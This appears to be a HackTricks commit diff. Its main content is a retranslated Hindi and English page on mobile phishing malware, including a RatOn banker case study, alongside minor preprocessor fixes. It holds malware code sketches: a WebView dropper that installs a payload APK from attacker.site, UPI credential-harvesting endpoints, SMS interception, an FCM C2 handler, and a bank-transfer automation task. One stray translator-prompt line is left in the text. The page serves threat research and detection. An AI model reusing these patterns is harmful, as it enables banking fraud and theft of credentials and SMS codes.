Translated ['src/mobile-pentesting/android-app-pentesting/accessibility-

hacktricks-preprocessor.py

@@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR)
 logger.addHandler(handler2)
 
 
-def findtitle(search ,obj, key, path=(),):
+def findtitle(search, obj, key, path=()):
     # logger.debug(f"Looking for {search} in {path}")
     if isinstance(obj, dict) and key in obj and obj[key] == search: 
         return obj, path
@@ -54,26 +54,42 @@ def ref(matchobj):
             if href.endswith("/"):
                 href = href+"README.md" # Fix if ref points to a folder
             if "#" in  href:
-                chapter, _path = findtitle(href.split("#")[0], book, "source_path")
+                result = findtitle(href.split("#")[0], book, "source_path")
+                if result is not None:
+                    chapter, _path = result
                     title = " ".join(href.split("#")[1].split("-")).title()
                     logger.debug(f'Ref has # using title: {title}')
                 else:
-                chapter, _path = findtitle(href, book, "source_path")
+                    raise Exception(f"Chapter not found for path: {href.split('#')[0]}")
+            else:
+                result = findtitle(href, book, "source_path")
+                if result is not None:
+                    chapter, _path = result
                     logger.debug(f'Recursive title search result: {chapter["name"]}')
                     title = chapter['name']
+                else:
+                    raise Exception(f"Chapter not found for path: {href}")
         except Exception as e:
             dir = path.dirname(current_chapter['source_path'])
             rel_path = path.normpath(path.join(dir,href))
             try:
                 logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
                 if "#" in  href:
-                    chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
+                    result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
+                    if result is not None:
+                        chapter, _path = result
                         title = " ".join(href.split("#")[1].split("-")).title()
                         logger.debug(f'Ref has # using title: {title}')
                     else:
-                    chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
+                        raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}")
+                else:
+                    result = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
+                    if result is not None:
+                        chapter, _path = result
                         title = chapter["name"]
                         logger.debug(f'Recursive title search result: {chapter["name"]}')
+                    else:
+                        raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}")
             except Exception as e:
                 logger.debug(e)
                 logger.error(f'Error getting chapter title: {rel_path}')

src/SUMMARY.md

@@ -768,7 +768,7 @@
     - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
   - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
   - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
-- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
+- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
   - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
   - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
   - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@@ -837,8 +837,9 @@
   - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
   - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
 - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
+- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
 - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
+- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
 
 # 🤖 AI
 - [AI Security](AI/README.md)

src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md

@@ -1,67 +1,67 @@
-# मोबाइल फ़िशिंग और दुर्भावनापूर्ण ऐप वितरण (Android और iOS)
+# मोबाइल Phishing & Malicious App Distribution (Android & iOS)
 
 {{#include ../../banners/hacktricks-training.md}}
 
 > [!INFO]
-> यह पृष्ठ उन तकनीकों को कवर करता है जो खतरे के अभिनेताओं द्वारा **दुर्भावनापूर्ण Android APKs** और **iOS मोबाइल-कॉन्फ़िगरेशन प्रोफाइल** को फ़िशिंग (SEO, सोशल इंजीनियरिंग, फर्जी स्टोर, डेटिंग ऐप्स, आदि) के माध्यम से वितरित करने के लिए उपयोग की जाती हैं।
+> यह पृष्ठ उन तकनीकों को कवर करता है जिनका उपयोग थ्रेट एक्टर्स द्वारा phishing (SEO, social engineering, fake stores, dating apps, आदि) के माध्यम से **malicious Android APKs** और **iOS mobile-configuration profiles** वितरित करने के लिए किया जाता है।  
-> सामग्री Zimperium zLabs (2025) द्वारा उजागर SarangTrap अभियान और अन्य सार्वजनिक अनुसंधान से अनुकूलित है।
+> सामग्री SarangTrap अभियान (Zimperium zLabs द्वारा उजागर, 2025) और अन्य सार्वजनिक शोध से अनुकूलित है।
 
-## हमले का प्रवाह
+## हमला प्रवाह
 
-1. **SEO/फ़िशिंग अवसंरचना**
+1. **SEO/Phishing इंफ्रास्ट्रक्चर**
-* समान दिखने वाले डोमेन (डेटिंग, क्लाउड शेयर, कार सेवा…) दर्ज करें।
+* दर्जनों look-alike डोमेनों को रजिस्टर करें (dating, cloud share, car service…).
-– Google में रैंक करने के लिए `<title>` तत्व में स्थानीय भाषा के कीवर्ड और इमोजी का उपयोग करें।
+– `<title>` एलिमेंट में स्थानीय भाषा के keywords और emojis का उपयोग करें ताकि Google में रैंकिंग मिले।
-– *दोनों* Android (`.apk`) और iOS इंस्टॉलेशन निर्देशों को एक ही लैंडिंग पृष्ठ पर होस्ट करें।
+– एक ही लैंडिंग पेज पर *दोनों* Android (`.apk`) और iOS इंस्टॉल निर्देश होस्ट करें।
-2. **पहला चरण डाउनलोड**
+2. **पहला चरण: डाउनलोड**
-* Android: *unsigned* या "तीसरे पक्ष के स्टोर" APK के लिए सीधा लिंक।
+* Android: एक डायरेक्ट लिंक जो *unsigned* या “third-party store” APK की ओर जाता है।
-* iOS: `itms-services://` या दुर्भावनापूर्ण **mobileconfig** प्रोफाइल के लिए सामान्य HTTPS लिंक (नीचे देखें)।
+* iOS: `itms-services://` या सामान्य HTTPS लिंक जो एक malicious **mobileconfig** प्रोफ़ाइल की ओर इशारा करता है (नीचे देखें)।
-3. **पोस्ट-इंस्टॉल सोशल इंजीनियरिंग**
+3. **इंस्टॉल के बाद Social Engineering**
-* पहले रन पर ऐप **आमंत्रण / सत्यापन कोड** (विशेष पहुंच का भ्रम) के लिए पूछता है।
+* पहली बार चलाने पर ऐप एक **invitation / verification code** माँगता है (विशेष पहुंच का भ्रम)।
-* कोड **HTTP के माध्यम से POST** किया जाता है Command-and-Control (C2) पर।
+* कोड **HTTP पर POST** किया जाता है Command-and-Control (C2) को।
-* C2 जवाब देता है `{"success":true}` ➜ मैलवेयर जारी रहता है।
+* C2 उत्तर देता है `{"success":true}` ➜ मैलवेयर जारी रहता है।
-* सैंडबॉक्स / AV डायनामिक विश्लेषण जो कभी भी एक मान्य कोड प्रस्तुत नहीं करता है, **कोई दुर्भावनापूर्ण व्यवहार** नहीं देखता (निष्कासन)।
+* जो सैंडबॉक्स / AV डायनामिक एनालिसिस वैध कोड सबमिट नहीं करता वह **कोई मालिशियस व्यवहार नहीं** देखता (evasion)।
-4. **रनटाइम अनुमति दुरुपयोग** (Android)
+4. **Runtime Permission Abuse (Android)**
-* खतरनाक अनुमतियाँ केवल **सकारात्मक C2 प्रतिक्रिया के बाद** मांगी जाती हैं:
+* खतरनाक permissions सिर्फ **positive C2 response के बाद** अनुरोध किए जाते हैं:
 ```xml
 <uses-permission android:name="android.permission.READ_CONTACTS"/>
 <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
 <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-<!-- पुराने निर्माणों ने भी SMS अनुमतियों के लिए पूछा -->
+<!-- Older builds also asked for SMS permissions -->
 ```
-* हाल के संस्करण **`AndroidManifest.xml` से SMS के लिए `<uses-permission>` हटा देते हैं** लेकिन उस Java/Kotlin कोड पथ को छोड़ देते हैं जो परावर्तन के माध्यम से SMS पढ़ता है ⇒ स्थिर स्कोर को कम करता है जबकि उन उपकरणों पर अभी भी कार्यात्मक है जो `AppOps` दुरुपयोग या पुराने लक्ष्यों के माध्यम से अनुमति देते हैं।
+* हालिया वेरिएंट्स `AndroidManifest.xml` से SMS के लिए `<uses-permission>` हटाते हैं लेकिन Java/Kotlin कोड पाथ को reflection के माध्यम से SMS पढ़ने के लिए छोड़ देते हैं ⇒ इससे static स्कोर कम होता है जबकि AppOps abuse या पुराने लक्ष्यों पर कार्यशील रहता है।
-5. **फसाद UI और पृष्ठभूमि संग्रहण**
+5. **Facade UI और Background Collection**
-* ऐप हानिरहित दृश्य (SMS व्यूअर, गैलरी पिकर) दिखाता है जो स्थानीय रूप से लागू होते हैं।
+* ऐप लोकल रूप से harmless views (SMS viewer, gallery picker) दिखाता है।
-* इस बीच यह एक्सफिल्ट्रेट करता है:
+* इस बीच यह निम्न एक्सफ़िल्ट्रेट करता है:
 - IMEI / IMSI, फोन नंबर
-- पूर्ण `ContactsContract` डंप (JSON एरे)
+- पूरा `ContactsContract` dump (JSON array)
-- `/sdcard/DCIM` से JPEG/PNG को आकार कम करने के लिए [Luban](https://github.com/Curzibn/Luban) के साथ संकुचित किया गया
+- `/sdcard/DCIM` से JPEG/PNG, आकार कम करने के लिए [Luban](https://github.com/Curzibn/Luban) से compress किया गया
 - वैकल्पिक SMS सामग्री (`content://sms`)
-पेलोड्स **बैच-ज़िप किए जाते हैं** और `HTTP POST /upload.php` के माध्यम से भेजे जाते हैं।
+पेलोड्स को **batch-zipped** करके `HTTP POST /upload.php` के जरिए भेजा जाता है।
-6. **iOS वितरण तकनीक**
+6. **iOS Delivery Technique**
-* एकल **मोबाइल-कॉन्फ़िगरेशन प्रोफाइल** `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` आदि का अनुरोध कर सकता है ताकि डिवाइस को "MDM"-समान पर्यवेक्षण में नामांकित किया जा सके।
+* एक अकेला **mobile-configuration profile** `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` आदि अनुरोध कर सकता है ताकि डिवाइस को “MDM”-समान supervision में enroll किया जा सके।
-* सोशल-इंजीनियरिंग निर्देश:
+* Social-engineering निर्देश:
-1. सेटिंग्स खोलें ➜ *प्रोफ़ाइल डाउनलोड किया गया*।
+1. Settings खोलें ➜ *Profile downloaded*.
-2. *इंस्टॉल* पर तीन बार टैप करें (फ़िशिंग पृष्ठ पर स्क्रीनशॉट)।
+2. तीन बार *Install* पर टैप करें (फिशिंग पेज पर स्क्रीनशॉट)।
-3. बिना हस्ताक्षर वाले प्रोफ़ाइल पर भरोसा करें ➜ हमलावर *Contacts* और *Photo* अधिकार प्राप्त करता है बिना ऐप स्टोर समीक्षा के।
+3. unsigned प्रोफ़ाइल को Trust करें ➜ हमलावर को App Store समीक्षा के बिना *Contacts* और *Photo* entitlement मिल जाता है।
-7. **नेटवर्क परत**
+7. **नेटवर्क लेयर**
-* सामान्य HTTP, अक्सर पोर्ट 80 पर HOST हेडर के साथ जैसे `api.<phishingdomain>.com`।
+* सादा HTTP, अक्सर पोर्ट 80 पर HOST हेडर जैसा `api.<phishingdomain>.com` के साथ।
-* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (कोई TLS → पहचानना आसान)।
+* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (कोई TLS नहीं → आसानी से पकड़ा जा सकता है)।
 
-## रक्षा परीक्षण / रेड-टीम सुझाव
+## Defensive Testing / Red-Team Tips
 
-* **डायनामिक विश्लेषण बायपास** – मैलवेयर मूल्यांकन के दौरान, आमंत्रण कोड चरण को Frida/Objection के साथ स्वचालित करें ताकि दुर्भावनापूर्ण शाखा तक पहुंच सकें।
+* **Dynamic Analysis Bypass** – मैलवेयर आकलन के दौरान, invitation code चरण को Frida/Objection से automate करके malicious ब्रांच तक पहुँचें।
-* **Manifest बनाम रनटाइम डिफ़** – `aapt dump permissions` की तुलना करें रनटाइम `PackageManager#getRequestedPermissions()` के साथ; खतरनाक अनुमतियों का गायब होना एक लाल झंडा है।
+* **Manifest vs. Runtime Diff** – `aapt dump permissions` की तुलना runtime `PackageManager#getRequestedPermissions()` से करें; गायब खतरनाक परमिशन्स एक रेड फ्लैग हैं।
-* **नेटवर्क कैनरी** – कोड प्रविष्टि के बाद असंगत POST बर्स्ट का पता लगाने के लिए `iptables -p tcp --dport 80 -j NFQUEUE` कॉन्फ़िगर करें।
+* **Network Canary** – कोड एंट्री के बाद असामान्य POST बर्स्ट का पता लगाने के लिए `iptables -p tcp --dport 80 -j NFQUEUE` कॉन्फ़िगर करें।
-* **mobileconfig निरीक्षण** – macOS पर `security cms -D -i profile.mobileconfig` का उपयोग करें `PayloadContent` को सूचीबद्ध करने और अत्यधिक अधिकारों को पहचानने के लिए।
+* **mobileconfig Inspection** – macOS पर `security cms -D -i profile.mobileconfig` का उपयोग करके `PayloadContent` सूचीबद्ध करें और अत्यधिक entitlements पहचानें।
 
-## ब्लू-टीम पहचान विचार
+## Blue-Team Detection Ideas
 
-* **प्रमाणपत्र पारदर्शिता / DNS विश्लेषण** अचानक कीवर्ड-समृद्ध डोमेन के बर्स्ट को पकड़ने के लिए।
+* **Certificate Transparency / DNS Analytics** ताकि sudden bursts वाले keyword-rich डोमेन पकड़े जा सकें।
-* **User-Agent और पथ Regex**: `(?i)POST\s+/(check|upload)\.php` Dalvik क्लाइंट से Google Play के बाहर।
+* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` Dalvik क्लाइंट्स से जिन्हें Google Play के बाहर देखा गया हो।
-* **आमंत्रण-कोड टेलीमेट्री** – APK इंस्टॉल के तुरंत बाद 6–8 अंकों के संख्यात्मक कोड का POST स्टेजिंग का संकेत दे सकता है।
+* **Invite-code Telemetry** – APK इंस्टॉल के तुरंत बाद 6–8 अंक के न्यूमेरिक कोड का POST स्टेजिंग का संकेत हो सकता है।
-* **MobileConfig साइनिंग** – बिना हस्ताक्षर वाले कॉन्फ़िगरेशन प्रोफाइल को MDM नीति के माध्यम से अवरुद्ध करें।
+* **MobileConfig Signing** – unsigned configuration profiles को MDM नीति के जरिए ब्लॉक करें।
 
-## उपयोगी Frida स्निपेट: ऑटो-बायपास आमंत्रण कोड
+## उपयोगी Frida Snippet: Auto-Bypass Invitation Code
 ```python
 # frida -U -f com.badapp.android -l bypass.js --no-pause
 # Hook HttpURLConnection write to always return success
@@ -80,7 +80,7 @@ return conn;
 };
 });
 ```
-## संकेत (सामान्य)
+## सूचक (सामान्य)
 ```
 /req/checkCode.php        # invite code validation
 /upload.php               # batched ZIP exfiltration
@@ -90,26 +90,26 @@ LubanCompress 1.1.8       # "Luban" string inside classes.dex
 
 ## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
 
-इस पैटर्न को भारतीय UPI क्रेडेंशियल्स और OTP चुराने के लिए सरकारी लाभ विषयों का दुरुपयोग करने वाले अभियानों में देखा गया है। ऑपरेटर विश्वसनीय प्लेटफार्मों को वितरण और स्थिरता के लिए जोड़ते हैं।
+This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
 
-### विश्वसनीय प्लेटफार्मों के बीच वितरण श्रृंखला
+### भरोसेमंद प्लेटफ़ॉर्म्स पर वितरण श्रृंखला
-- YouTube वीडियो लुभावना → विवरण में एक छोटा लिंक है
+- YouTube लुभावना वीडियो → विवरण में एक शॉर्ट लिंक होता है
-- शॉर्टलिंक → वैध पोर्टल की नकल करने वाली GitHub Pages फ़िशिंग साइट
+- Shortlink → GitHub Pages पर आधिकारिक पोर्टल की नकल करने वाली phishing साइट
-- वही GitHub रेपो एक APK होस्ट करता है जिसमें एक नकली “Google Play” बैज है जो सीधे फ़ाइल से लिंक करता है
+- वही GitHub repo एक APK होस्ट करता है जिसमें नकली “Google Play” बैज होता है जो सीधे फाइल से लिंक करता है
-- गतिशील फ़िशिंग पृष्ठ Replit पर लाइव हैं; दूरस्थ कमांड चैनल Firebase Cloud Messaging (FCM) का उपयोग करता है
+- डायनेमिक phishing पेज Replit पर रहते हैं; रिमोट कमांड चैनल Firebase Cloud Messaging (FCM) का उपयोग करता है
 
-### एम्बेडेड पेलोड और ऑफ़लाइन इंस्टॉल के साथ ड्रॉपर
+### Dropper with embedded payload and offline install
-- पहला APK एक इंस्टॉलर (ड्रॉपर) है जो वास्तविक मैलवेयर को `assets/app.apk` पर भेजता है और उपयोगकर्ता को क्लाउड पहचान को कमजोर करने के लिए Wi‑Fi/मोबाइल डेटा बंद करने के लिए प्रेरित करता है।
+- पहला APK एक installer (dropper) है जो वास्तविक malware को `assets/app.apk` पर भेजता है और यूज़र को क्लाउड-आधारित डिटेक्शन को बेअसर करने के लिए Wi‑Fi/mobile data बंद करने का संकेत देता है।
-- एम्बेडेड पेलोड एक निर्दोष लेबल (जैसे, “Secure Update”) के तहत इंस्टॉल होता है। इंस्टॉलेशन के बाद, इंस्टॉलर और पेलोड दोनों अलग-अलग ऐप के रूप में मौजूद होते हैं।
+- Embedded payload एक सामान्य लेबल (उदा., “Secure Update”) के नाम से इंस्टॉल होता है। इंस्टॉल के बाद, installer और payload दोनों अलग-अलग apps के रूप में मौजूद रहते हैं।
 
-स्टैटिक ट्रायज टिप (एम्बेडेड पेलोड के लिए grep करें):
+Static triage tip (grep for embedded payloads):
 ```bash
 unzip -l sample.apk | grep -i "assets/app.apk"
 # Or:
 zipgrep -i "classes|.apk" sample.apk | head
 ```
-### Dynamic endpoint discovery via shortlink
+### shortlink के माध्यम से डायनामिक endpoint की खोज
-- Malware एक plain-text, comma-separated सूची को एक shortlink से प्राप्त करता है; सरल string transforms अंतिम phishing page path उत्पन्न करते हैं।
+- Malware एक shortlink से plain-text, comma-separated list लेता है जिसमें live endpoints होते हैं; सरल string transforms अंतिम phishing page path उत्पन्न करते हैं।
 
 Example (sanitised):
 ```
@@ -119,7 +119,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView)
 UPI credential POST: https://sqcepo.replit.app/addup.php
 SMS upload:           https://sqcepo.replit.app/addsm.php
 ```
-प्सेUDO-कोड:
+छद्म-कोड:
 ```java
 String csv = httpGet(shortlink);
 String[] parts = csv.split(",");
@@ -127,8 +127,8 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
 String smsPost = parts[1];
 String credsPost = upiPage.replace("gate.htm", "addup.php");
 ```
-### WebView-आधारित UPI क्रेडेंशियल हार्वेस्टिंग
+### WebView-based UPI credential harvesting
-- “₹1 / UPI‑Lite का भुगतान करें” चरण एक हमलावर HTML फॉर्म को WebView के अंदर गतिशील एंडपॉइंट से लोड करता है और संवेदनशील फ़ील्ड (फोन, बैंक, UPI PIN) को कैप्चर करता है जो `addup.php` पर `POST` किए जाते हैं।
+- “Make payment of ₹1 / UPI‑Lite” चरण WebView के अंदर dynamic endpoint से हमलावर का HTML फॉर्म लोड करता है और संवेदनशील फ़ील्ड्स (phone, bank, UPI PIN) को कैप्चर करता है जिन्हें `POST` करके `addup.php` पर भेजा जाता है।
 
 न्यूनतम लोडर:
 ```java
@@ -136,16 +136,16 @@ WebView wv = findViewById(R.id.web);
 wv.getSettings().setJavaScriptEnabled(true);
 wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
 ```
-### आत्म-प्रसार और SMS/OTP इंटरसेप्शन
+### Self-propagation and SMS/OTP interception
-- पहले रन पर आक्रामक अनुमतियाँ मांगी जाती हैं:
+- पहली बार चलाने पर आक्रामक permissions का अनुरोध किया जाता है:
 ```xml
 <uses-permission android:name="android.permission.READ_CONTACTS"/>
 <uses-permission android:name="android.permission.SEND_SMS"/>
 <uses-permission android:name="android.permission.READ_SMS"/>
 <uses-permission android:name="android.permission.CALL_PHONE"/>
 ```
-- संपर्कों को पीड़ित के डिवाइस से सामूहिक रूप से smishing SMS भेजने के लिए लूप किया जाता है।
+- Contacts को लूप किया जाता है ताकि पीड़ित के डिवाइस से smishing SMS बड़े पैमाने पर भेजे जा सकें.
-- आने वाले SMS को एक प्रसारण रिसीवर द्वारा इंटरसेप्ट किया जाता है और मेटाडेटा (प्रेषक, सामग्री, सिम स्लॉट, प्रति-डिवाइस यादृच्छिक आईडी) के साथ `/addsm.php` पर अपलोड किया जाता है।
+- Incoming SMS को एक broadcast receiver द्वारा इंटरसेप्ट किया जाता है और metadata (sender, body, SIM slot, per-device random ID) के साथ `/addsm.php` पर अपलोड किया जाता है.
 
 Receiver sketch:
 ```java
@@ -162,9 +162,9 @@ postForm(urlAddSms, new FormBody.Builder()
 }
 ```
 ### Firebase Cloud Messaging (FCM) के रूप में लचीला C2
-- पेलोड FCM के लिए पंजीकरण करता है; पुश संदेश `_type` फ़ील्ड ले जाते हैं जिसका उपयोग क्रियाओं को ट्रिगर करने के लिए स्विच के रूप में किया जाता है (जैसे, फ़िशिंग टेक्स्ट टेम्पलेट्स को अपडेट करना, व्यवहारों को टॉगल करना)।
+- Payload FCM में रजिस्टर होता है; push messages में `_type` फील्ड होता है जिसका उपयोग क्रियाओं को ट्रिगर करने के लिए एक स्विच की तरह किया जाता है (उदा., phishing टेक्स्ट टेम्पलेट्स अपडेट करना, व्यवहार टॉगल करना).
 
-उदाहरण FCM पेलोड:
+Example FCM payload:
 ```json
 {
 "to": "<device_fcm_token>",
@@ -174,7 +174,7 @@ postForm(urlAddSms, new FormBody.Builder()
 }
 }
 ```
-हैंडलर स्केच:
+Handler रूपरेखा:
 ```java
 @Override
 public void onMessageReceived(RemoteMessage msg){
@@ -186,27 +186,177 @@ case "smish": sendSmishToContacts(); break;
 }
 }
 ```
-### शिकार पैटर्न और IOC
+### हंटिंग पैटर्न और IOCs
-- APK में `assets/app.apk` पर द्वितीयक पेलोड होता है
+- APK में सेकेंडरी payload `assets/app.apk` में मौजूद है
-- WebView `gate.htm` से भुगतान लोड करता है और `/addup.php` पर एक्सफिल्ट्रेट करता है
+- WebView `gate.htm` से payment लोड करता है और `/addup.php` पर exfiltrate करता है
-- SMS एक्सफिल्ट्रेशन `/addsm.php` पर
+- SMS का exfiltration `/addsm.php` पर
-- शॉर्टलिंक-चालित कॉन्फ़िग फ़ेच (जैसे, `rebrand.ly/*`) CSV एंडपॉइंट्स लौटाता है
+- Shortlink-ड्रिवन config fetch (e.g., `rebrand.ly/*`) जो CSV endpoints लौटाता है
-- ऐप्स को सामान्य "अपडेट/सुरक्षित अपडेट" के रूप में लेबल किया गया है
+- ऐसे ऐप्स जिन्हें generic “Update/Secure Update” लेबल किया गया हो
-- अविश्वसनीय ऐप्स में `_type` विभाजक के साथ FCM `data` संदेश
+- FCM `data` संदेश अनट्रस्टेड ऐप्स में जिनमें `_type` discriminator होता है
 
-### पहचान और रक्षा विचार
+### डिटेक्शन और डिफेंस आइडियाज
-- उन ऐप्स को फ्लैग करें जो उपयोगकर्ताओं को इंस्टॉलेशन के दौरान नेटवर्क बंद करने के लिए कहते हैं और फिर `assets/` से एक दूसरा APK साइड-लोड करते हैं।
+- उन ऐप्स को flag करें जो इंस्टॉल के दौरान उपयोगकर्ताओं से नेटवर्क डिसेबल करने को कहते हैं और फिर `assets/` से दूसरी APK side-load करते हैं।
-- अनुमति ट्यूपल पर अलर्ट करें: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-आधारित भुगतान प्रवाह।
+- permission tuple पर अलर्ट: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-आधारित payment flows।
-- गैर-कॉर्पोरेट होस्ट पर `POST /addup.php|/addsm.php` के लिए ईग्रेस मॉनिटरिंग; ज्ञात अवसंरचना को ब्लॉक करें।
+- non-corporate hosts पर `POST /addup.php|/addsm.php` के लिए egress मॉनिटरिंग; ज्ञात infrastructure को block करें।
-- मोबाइल EDR नियम: FCM के लिए पंजीकरण करने वाला अविश्वसनीय ऐप और `_type` फ़ील्ड पर शाखा बनाना।
+- Mobile EDR नियम: untrusted ऐप जो FCM के लिए register करता है और `_type` field पर branching करता है।
 
 ---
 
+## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn case study
+
+The RatOn banker/RAT campaign (ThreatFabric) आधुनिक mobile phishing ऑपरेशन्स का एक ठोस उदाहरण है जहाँ WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, और यहाँ तक कि NFC-relay orchestration को मिलाकर इस्तेमाल किया जाता है। यह सेक्शन इन reusable techniques का सार प्रस्तुत करता है।
+
+### Stage-1: WebView → native install bridge (dropper)
+आक्रमणकारी एक WebView दिखाते हैं जो attacker पेज की ओर इशारा करता है और एक JavaScript interface inject करते हैं जो एक native installer को एक्सपोज़ करता है। HTML बटन पर टैप native कोड को कॉल करता है जो dropper के assets में बंडल किए गए second-stage APK को install करता है और फिर उसे सीधे लॉन्च कर देता है।
+
+Minimal pattern:
+```java
+public class DropperActivity extends Activity {
+@Override protected void onCreate(Bundle b){
+super.onCreate(b);
+WebView wv = new WebView(this);
+wv.getSettings().setJavaScriptEnabled(true);
+wv.addJavascriptInterface(new Object(){
+@android.webkit.JavascriptInterface
+public void installApk(){
+try {
+PackageInstaller pi = getPackageManager().getPackageInstaller();
+PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
+int id = pi.createSession(p);
+try (PackageInstaller.Session s = pi.openSession(id);
+InputStream in = getAssets().open("payload.apk");
+OutputStream out = s.openWrite("base.apk", 0, -1)){
+byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
+}
+PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+pi.commit(id, status.getIntentSender());
+} catch (Exception e) { /* log */ }
+}
+}, "bridge");
+setContentView(wv);
+wv.loadUrl("https://attacker.site/install.html");
+}
+}
+```
+Please paste the HTML/markdown content you want translated (the file or page contents).
+```html
+<button onclick="bridge.installApk()">Install</button>
+```
+इंस्टॉल के बाद, dropper explicit package/activity के माध्यम से payload को शुरू करता है:
+```java
+Intent i = new Intent();
+i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
+startActivity(i);
+```
+Hunting idea: untrusted apps calling `addJavascriptInterface()` and exposing installer-like methods to WebView; APK shipping an embedded secondary payload under `assets/` and invoking the Package Installer Session API.
+
+### स्वीकृति फ़नल: Accessibility + Device Admin + follow-on runtime prompts
+Stage-2 एक WebView खोलता है जो “Access” पेज होस्ट करता है। इसका बटन एक exported method को invoke करता है जो विक्टिम को Accessibility settings पर नेविगेट करके rogue service को enable करने का अनुरोध करता है। एक बार अनुमति मिलने पर, malware Accessibility का उपयोग करके बाद के runtime permission dialogs (contacts, overlay, manage system settings, etc.) में auto-click करके अनुमतियाँ स्वीकार करवा देता है और Device Admin के लिए अनुरोध करता है।
+
+- Accessibility प्रोग्रामेटिकली बाद के prompts स्वीकार करने में मदद करता है — node-tree में “Allow”/“OK” जैसे बटन ढूंढकर और उन पर क्लिक भेजकर।
+- Overlay permission check/request:
+```java
+if (!Settings.canDrawOverlays(ctx)) {
+Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
+Uri.parse("package:" + ctx.getPackageName()));
+ctx.startActivity(i);
+}
+```
+इन्हें भी देखें:
+
+{{#ref}}
+../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
+{{#endref}}
+
+### Overlay phishing/ransom (WebView के माध्यम से)
+ऑपरेटर निम्नलिखित कमांड जारी कर सकते हैं:
+- एक URL से पूर्ण-स्क्रीन ओवरले रेंडर करना, या
+- इनलाइन HTML पास करना जिसे WebView ओवरले में लोड किया जाए।
+
+संभावित उपयोग: coercion (PIN entry), wallet खोलकर PIN कैप्चर करना, ransom संदेश भेजना। यदि ओवरले अनुमति मौजूद नहीं है तो उसे सुनिश्चित करने के लिए एक कमांड रखें।
+
+### Remote control model – text pseudo-screen + screen-cast
+- कम-बैंडविड्थ: Accessibility node tree को आवधिक रूप से dump करें, दिखाई देने वाले texts/roles/bounds को serialize करें और उन्हें pseudo-screen के रूप में C2 पर भेजें (commands like `txt_screen` once and `screen_live` continuous)।
+- उच्च-निष्ठा: MediaProjection का अनुरोध करें और मांग पर screen-casting/recording शुरू करें (commands like `display` / `record`)।
+
+### ATS playbook (bank app automation)
+एक JSON task दिए जाने पर, बैंक ऐप खोलें, Accessibility के जरिए UI को text queries और coordinate taps के मिश्रण से नियंत्रित करें, और संकेत मिलने पर पीड़ित का payment PIN दर्ज करें।
+
+Example task:
+```json
+{
+"cmd": "transfer",
+"receiver_address": "ACME s.r.o.",
+"account": "123456789/0100",
+"amount": "24500.00",
+"name": "ACME"
+}
+```
+Example texts seen in one target flow (CZ → EN):
+- "Nová platba" → "नया भुगतान"
+- "Zadat platbu" → "भुगतान दर्ज करें"
+- "Nový příjemce" → "नया प्राप्तकर्ता"
+- "Domácí číslo účtu" → "घरेलू खाता संख्या"
+- "Další" → "अगला"
+- "Odeslat" → "भेजें"
+- "Ano, pokračovat" → "हाँ, जारी रखें"
+- "Zaplatit" → "भुगतान करें"
+- "Hotovo" → "हो गया"
+
